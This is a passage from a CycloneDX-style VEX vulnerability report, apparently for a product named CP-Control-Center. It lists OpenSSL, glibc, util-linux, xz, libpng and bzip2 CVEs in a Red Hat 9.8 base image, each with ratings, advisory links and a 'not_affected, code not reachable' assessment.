devices, including backup images, disk volumes, and any file containing a valid filesystem. This issue has been patched in version 2.41.4.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-27456" }, { "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-27456" }, { "url": "https://github.com/bottlerocket-os/bottlerocket-core-kit/blob/develop/advisories/14.5.0/BRSA-jgcxwcxt3sxd.toml" }, { "url": "https://github.com/util-linux/util-linux/commit/5e390467b26a3cf3fecc04e1a0d482dff3162fc4" }, { "url": "https://github.com/util-linux/util-linux/releases/tag/v2.41.4" }, { "url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-qq4x-vfq4-9h9g" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27456" }, { "url": "https://ubuntu.com/security/notices/USN-8702-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-27456" } ], "published": "2026-04-03T22:16:25+00:00", "updated": "2026-07-24T22:10:00+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libblkid@2.37.4-25.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.37.4-25.el9", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/libmount@2.37.4-25.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.37.4-25.el9", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/libuuid@2.37.4-25.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.37.4-25.el9", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libblkid@2.37.4-25.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libmount@2.37.4-25.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libuuid@2.37.4-25.el9?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-28387", "ratings": [ { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "low" }, { "source": { "name": "julia" }, "score": 8.1, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "source": { "name": "nvd" }, "score": 8.1, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "source": { "name": "photon" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 3.7, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "ubuntu" }, "severity": "low" } ], "cwes": [ 416 ], "description": "Issue summary: An uncommon configuration of clients performing DANE TLSA-based\nserver authentication, when paired with uncommon server DANE TLSA records, may\nresult in a use-after-free and/or double-free on the client side.\n\nImpact summary: A use after free can have a range of potential consequences\nsuch as the corruption of valid data, crashes or execution of arbitrary code.\n\nHowever, the issue only affects clients that make use of TLSA records with both\nthe PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate\nusage.\n\nBy far the most common deployment of DANE is in SMTP MTAs for which RFC7672\nrecommends that clients treat as 'unusable' any TLSA records that have the PKIX\ncertificate usages. These SMTP (or other similar) clients are not vulnerable\nto this issue. Conversely, any clients that support only the PKIX usages, and\nignore the DANE-TA(2) usage are also not vulnerable.\n\nThe client would also need to be communicating with a server that publishes a\nTLSA RRset with both types of TLSA records.\n\nNo FIPS modules are affected by this issue, the problem code is outside the\nFIPS module boundary.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-28387" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-28387" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html" }, { "url": "https://github.com/openssl/openssl/commit/07e727d304746edb49a98ee8f6ab00256e1f012b" }, { "url": "https://github.com/openssl/openssl/commit/258a8f63b26995ba357f4326da00e19e29c6acbe" }, { "url": "https://github.com/openssl/openssl/commit/444958deaf450aea819171f97ae69eaedede42c3" }, { "url": "https://github.com/openssl/openssl/commit/7a4e08cee62a728d32e60b0de89e6764339df0a7" }, { "url": "https://github.com/openssl/openssl/commit/ec03fa050b3346997ed9c5fef3d0e16ad7db8177" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28387" }, { "url": "https://openssl-library.org/news/secadv/20260407.txt" }, { "url": "https://ubuntu.com/security/notices/USN-8155-1" }, { "url": "https://ubuntu.com/security/notices/USN-8155-2" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-28387" }, { "url": "https://www.openwall.com/lists/oss-security/2026/04/07/11" } ], "published": "2026-04-07T22:16:20+00:00", "updated": "2026-07-24T23:10:00+00:00", "affects": [ { "ref": "pkg:rpm/redhat/openssl-libs@3.5.5-4.el9_8?arch=x86_64&distro=redhat-9.8&epoch=1", "versions": [ { "version": "1:3.5.5-4.el9_8", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/openssl-libs@3.5.5-4.el9_8?arch=x86_64&distro=redhat-9.8&epoch=1" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-28388", "ratings": [ { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "nvd" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "photon" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 5.9, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "ubuntu" }, "severity": "low" } ], "cwes": [ 476 ], "description": "Issue summary: When a delta CRL that contains a Delta CRL Indicator extension\nis processed a NULL pointer dereference might happen if the required CRL\nNumber extension is missing.\n\nImpact summary: A NULL pointer dereference can trigger a crash which\nleads to a Denial of Service for an application.\n\nWhen CRL processing and delta CRL processing is enabled during X.509\ncertificate verification, the delta CRL processing does not check\nwhether the CRL Number extension is NULL before dereferencing it.\nWhen a malformed delta CRL file is being processed, this parameter\ncan be NULL, causing a NULL pointer dereference.\n\nExploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in\nthe verification context, the certificate being verified to contain a\nfreshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and\nan attacker to provide a malformed CRL to an application that processes it.\n\nThe vulnerability is limited to Denial of Service and cannot be escalated to\nachieve code execution or memory disclosure. For that reason the issue was\nassessed as Low severity according to our Security Policy.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the affected code is outside the OpenSSL FIPS module boundary.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-28388" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-28388" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html" }, { "url": "https://github.com/openssl/openssl/commit/59c3b3158553ab53275bbbccca5cb305d591cf2e" }, { "url": "https://github.com/openssl/openssl/commit/5a0b4930779cd2408880979db765db919da55139" }, { "url": "https://github.com/openssl/openssl/commit/602542f2c0c2d5edb47128f93eac10b62aeeefb3" }, { "url": "https://github.com/openssl/openssl/commit/a9d187dd1000130100fa7ab915f8513532cb3bb8" }, { "url": "https://github.com/openssl/openssl/commit/d3a901e8d9f021f3e67d6cfbc12e768129862726" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28388" }, { "url": "https://openssl-library.org/news/secadv/20260407.txt" }, { "url": "https://ubuntu.com/security/notices/USN-8155-1" }, { "url": "https://ubuntu.com/security/notices/USN-8155-2" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-28388" }, { "url": "https://www.openwall.com/lists/oss-security/2026/04/07/11" } ], "published": "2026-04-07T22:16:20+00:00", "updated": "2026-07-24T23:10:00+00:00", "affects": [ { "ref": "pkg:rpm/redhat/openssl-libs@3.5.5-4.el9_8?arch=x86_64&distro=redhat-9.8&epoch=1", "versions": [ { "version": "1:3.5.5-4.el9_8", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/openssl-libs@3.5.5-4.el9_8?arch=x86_64&distro=redhat-9.8&epoch=1" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-28389", "ratings": [ { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "nvd" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "photon" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 5.9, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "ubuntu" }, "severity": "low" } ], "cwes": [ 476 ], "description": "Issue summary: During processing of a crafted CMS EnvelopedData message\nwith KeyAgreeRecipientInfo a NULL pointer dereference can happen.\n\nImpact summary: Applications that process attacker-controlled CMS data may\ncrash before authentication or cryptographic operations occur resulting in\nDenial of Service.\n\nWhen a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is\nprocessed, the optional parameters field of KeyEncryptionAlgorithmIdentifier\nis examined without checking for its presence. This results in a NULL\npointer dereference if the field is missing.\n\nApplications and services that call CMS_decrypt() on untrusted input\n(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-28389" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-28389" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html" }, { "url": "https://github.com/advisories/GHSA-7x88-9hgc-69gf" }, { "url": "https://github.com/openssl/openssl/commit/16cea4188e0ea567deb4f93f85902247e67384f5" }, { "url": "https://github.com/openssl/openssl/commit/785cbf7ea3b5a6f5adf0c1ccb92b79d89c35c616" }, { "url": "https://github.com/openssl/openssl/commit/7b5274e812400cacb6f3be4c2df5340923fa807f" }, { "url": "https://github.com/openssl/openssl/commit/c6725634e089eb2b634b10ede33944be7248172a" }, { "url": "https://github.com/openssl/openssl/commit/f80f83bc5fd036bc47d773e8b15a001e2b4ce686" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28389" }, { "url": "https://openssl-library.org/news/secadv/20260407.txt" }, { "url": "https://ubuntu.com/security/notices/USN-8155-1" }, { "url": "https://ubuntu.com/security/notices/USN-8155-2" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-28389" }, { "url": "https://www.openwall.com/lists/oss-security/2026/04/07/11" } ], "published": "2026-04-07T22:16:21+00:00", "updated": "2026-07-24T23:10:00+00:00", "affects": [ { "ref": "pkg:rpm/redhat/openssl-libs@3.5.5-4.el9_8?arch=x86_64&distro=redhat-9.8&epoch=1", "versions": [ { "version": "1:3.5.5-4.el9_8", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/openssl-libs@3.5.5-4.el9_8?arch=x86_64&distro=redhat-9.8&epoch=1" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-31789", "ratings": [ { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 9.8, "severity": "critical", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "source": { "name": "nvd" }, "score": 9.8, "severity": "critical", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "source": { "name": "photon" }, "severity": "critical" }, { "source": { "name": "redhat" }, "score": 5.8, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:H" }, { "source": { "name": "ubuntu" }, "severity": "low" } ], "cwes": [ 787 ], "description": "Issue summary: Converting an excessively large OCTET STRING value to\na hexadecimal string leads to a heap buffer overflow on 32 bit platforms.\n\nImpact summary: A heap buffer overflow may lead to a crash or possibly\nan attacker controlled code execution or other undefined behavior.\n\nIf an attacker can supply a crafted X.509 certificate with an excessively\nlarge OCTET STRING value in extensions such as the Subject Key Identifier\n(SKID) or Authority Key Identifier (AKID) which are being converted to hex,\nthe size of the buffer needed for the result is calculated as multiplication\nof the input length by 3. On 32 bit platforms, this multiplication may overflow\nresulting in the allocation of a smaller buffer and a heap buffer overflow.\n\nApplications and services that print or log contents of untrusted X.509\ncertificates are vulnerable to this issue. As the certificates would have\nto have sizes of over 1 Gigabyte, printing or logging such certificates\nis a fairly unlikely operation and only 32 bit platforms are affected,\nthis issue was assigned Low severity.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-31789" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-31789" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html" }, { "url": "https://github.com/advisories/GHSA-j79m-9jxq-788r" }, { "url": "https://github.com/openssl/openssl/commit/364f095b80601db632b0def6a33316967f863bde" }, { "url": "https://github.com/openssl/openssl/commit/7a9087efd769f362ad9c0e30c7baaa6bbfa65ecf" }, { "url": "https://github.com/openssl/openssl/commit/945b935ac66cc7f1a41f1b849c7c25adb5351f49" }, { "url": "https://github.com/openssl/openssl/commit/a24216018e1ede8ff01a4ff5afff7dfbd443e2f9" }, { "url": "https://github.com/openssl/openssl/commit/a91e537d16d74050dbde50bb0dfb1fe9930f0521" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31789" }, { "url": "https://openssl-library.org/news/secadv/20260407.txt" }, { "url": "https://ubuntu.com/security/notices/USN-8155-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-31789" }, { "url": "https://www.openwall.com/lists/oss-security/2026/04/07/11" } ], "published": "2026-04-07T22:16:21+00:00", "updated": "2026-07-24T23:10:00+00:00", "affects": [ { "ref": "pkg:rpm/redhat/openssl-libs@3.5.5-4.el9_8?arch=x86_64&distro=redhat-9.8&epoch=1", "versions": [ { "version": "1:3.5.5-4.el9_8", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/openssl-libs@3.5.5-4.el9_8?arch=x86_64&distro=redhat-9.8&epoch=1" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-34743", "ratings": [ { "source": { "name": "azure" }, "severity": "low" }, { "source": { "name": "julia" }, "score": 5.3, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "nvd" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "photon" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "ubuntu" }, "severity": "low" } ], "cwes": [ 122 ], "description": "XZ Utils provide a general-purpose data-compression library plus command-line tools. Prior to version 5.8.3, if lzma_index_decoder() was used to decode an Index that contained no Records, the resulting lzma_index was left in a state where where a subsequent lzma_index_append() would allocate too little memory, and a buffer overflow would occur. This issue has been patched in version 5.8.3.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-34743" }, { "url": "http://www.openwall.com/lists/oss-security/2026/03/31/13" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-34743" }, { "url": "https://github.com/tukaani-project/xz/commit/c8c22869e780ff57c96b46939c3d79ff99395f87" }, { "url": "https://github.com/tukaani-project/xz/releases/tag/v5.8.3" }, { "url": "https://github.com/tukaani-project/xz/security/advisories/GHSA-x872-m794-cxhv" }, { "url": "https://lists.debian.org/debian-lts-announce/2026/07/msg00034.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34743" }, { "url": "https://tukaani.org/xz/index-append-overflow.html" }, { "url": "https://ubuntu.com/security/notices/USN-8362-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-34743" } ], "published": "2026-04-02T19:21:33+00:00", "updated": "2026-07-24T21:10:00+00:00", "affects": [ { "ref": "pkg:rpm/redhat/xz-libs@5.2.5-8.el9_0?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "5.2.5-8.el9_0", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/xz-libs@5.2.5-8.el9_0?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-34757", "ratings": [ { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 4.4, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N" }, { "source": { "name": "nvd" }, "score": 4.4, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N" }, { "source": { "name": "photon" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 4.4, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 416 ], "description": "LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. From 1.0.9 to before 1.6.57, passing a pointer obtained from png_get_PLTE, png_get_tRNS, or png_get_hIST back into the corresponding setter on the same png_struct/png_info pair causes the setter to read from freed memory and copy its contents into the replacement buffer. The setter frees the internal buffer before copying from the caller-supplied pointer, which now dangles. The freed region may contain stale data (producing silently corrupted chunk metadata) or data from subsequent heap allocations (leaking unrelated heap contents into the chunk struct). This vulnerability is fixed in 1.6.57.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-34757" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-34757" }, { "url": "https://github.com/pnggroup/libpng/commit/398cbe3df03f4e11bb031e07f416dfdde3684e8a" }, { "url": "https://github.com/pnggroup/libpng/commit/55d20aaa322c9274491cda82c5cd4f99b48c6bcc" }, { "url": "https://github.com/pnggroup/libpng/issues/836" }, { "url": "https://github.com/pnggroup/libpng/issues/837" }, { "url": "https://github.com/pnggroup/libpng/security/advisories/GHSA-6fr7-g8h7-v645" }, { "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00017.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34757" }, { "url": "https://ubuntu.com/security/notices/USN-8251-1" }, { "url": "https://ubuntu.com/security/notices/USN-8639-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-34757" } ], "published": "2026-04-09T15:16:11+00:00", "updated": "2026-06-17T10:39:34+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libpng@1.6.37-15.el9_8.2?arch=x86_64&distro=redhat-9.8&epoch=2", "versions": [ { "version": "2:1.6.37-15.el9_8.2", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libpng@1.6.37-15.el9_8.2?arch=x86_64&distro=redhat-9.8&epoch=2" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-42250", "ratings": [ { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H" }, { "source": { "name": "ubuntu" }, "severity": "low" } ], "cwes": [ 787 ], "description": "bzip2 contains an off\u2011by\u2011one error in the bzip2recover utility. When processing a specially crafted file, the application performs an out\u2011of\u2011bounds write to a global buffer, resulting in memory corruption and a crash (denial of service).\n\nThis issue was fixed in bzip2 patch\u00a035d122a3df8b0cc4082a4d89fdc6ee99f375fe67", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-42250" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-42250" }, { "url": "https://cert.pl/en/posts/2026/05/CVE-2026-42250/" }, { "url": "https://inbox.sourceware.org/bzip2-devel/20260528145407.293768-1-mark@klomp.org/" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42250" }, { "url": "https://sourceware.org/bzip2/" }, { "url": "https://sourceware.org/cgit/bzip2/commit/?id=35d122a3df8b0cc4082a4d89fdc6ee99f375fe67" }, { "url": "https://ubuntu.com/security/notices/USN-8685-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-42250" } ], "published": "2026-05-28T14:16:19+00:00", "updated": "2026-06-17T10:47:34+00:00", "affects": [ { "ref": "pkg:rpm/redhat/bzip2-libs@1.0.8-11.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "1.0.8-11.el9", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/bzip2-libs@1.0.8-11.el9?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-5435", "ratings": [ { "source": { "name": "alma" }, "severity": "medium" }, { "source": { "name": "oracle-oval" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 5.9, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:H" }, { "source": { "name": "rocky" }, "severity": "medium" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 787 ], "description": "The deprecated functions ns_printrrf, ns_printrr and fp_nquery in the GNU C Library version 2.2 and newer fail to enforce the caller-supplied buffer length, and can result in an out-of-bounds write when printing TSIG records.", "recommendation": "Upgrade glibc to version 2.34-274.el9_8; Upgrade glibc-common to version 2.34-274.el9_8; Upgrade glibc-minimal-langpack to version 2.34-274.el9_8", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-5435" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42952" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-5435" }, { "url": "https://bugzilla.redhat.com/2459854" }, { "url": "https://bugzilla.redhat.com/2463465" }, { "url": "https://bugzilla.redhat.com/2463539" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2459854" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2463465" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2463539" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-5435" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-5928" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6238" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-42952.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:42952" }, { "url": "https://inbox.sourceware.org/libc-alpha/cover.1777546194.git.fweimer@redhat.com/" }, { "url": "https://inbox.sourceware.org/libc-announce/7a655d55-276f-41fe-b550-feb3ebb2ce91@redhat.com/T/#u" }, { "url": "https://linux.oracle.com/cve/CVE-2026-5435.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-500140.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5435" }, { "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=34033" }, { "url": "https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=advisories/GLIBC-SA-2026-0011" }, { "url": "https://ubuntu.com/security/notices/USN-8611-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-5435" } ], "published": "2026-04-28T13:19:22+00:00", "updated": "2026-07-14T13:19:01+00:00", "affects": [ { "ref": "pkg:rpm/redhat/glibc-common@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.34-272.el9_8", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/glibc-minimal-langpack@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.34-272.el9_8", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/glibc@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.34-272.el9_8", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glibc-common@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glibc-minimal-langpack@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glibc@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:rpm/redhat/glibc-common@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:rpm/redhat/glibc-minimal-langpack@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:rpm/redhat/glibc@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:rpm/redhat/glibc-common@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:rpm/redhat/glibc-minimal-langpack@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:rpm/redhat/glibc@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { 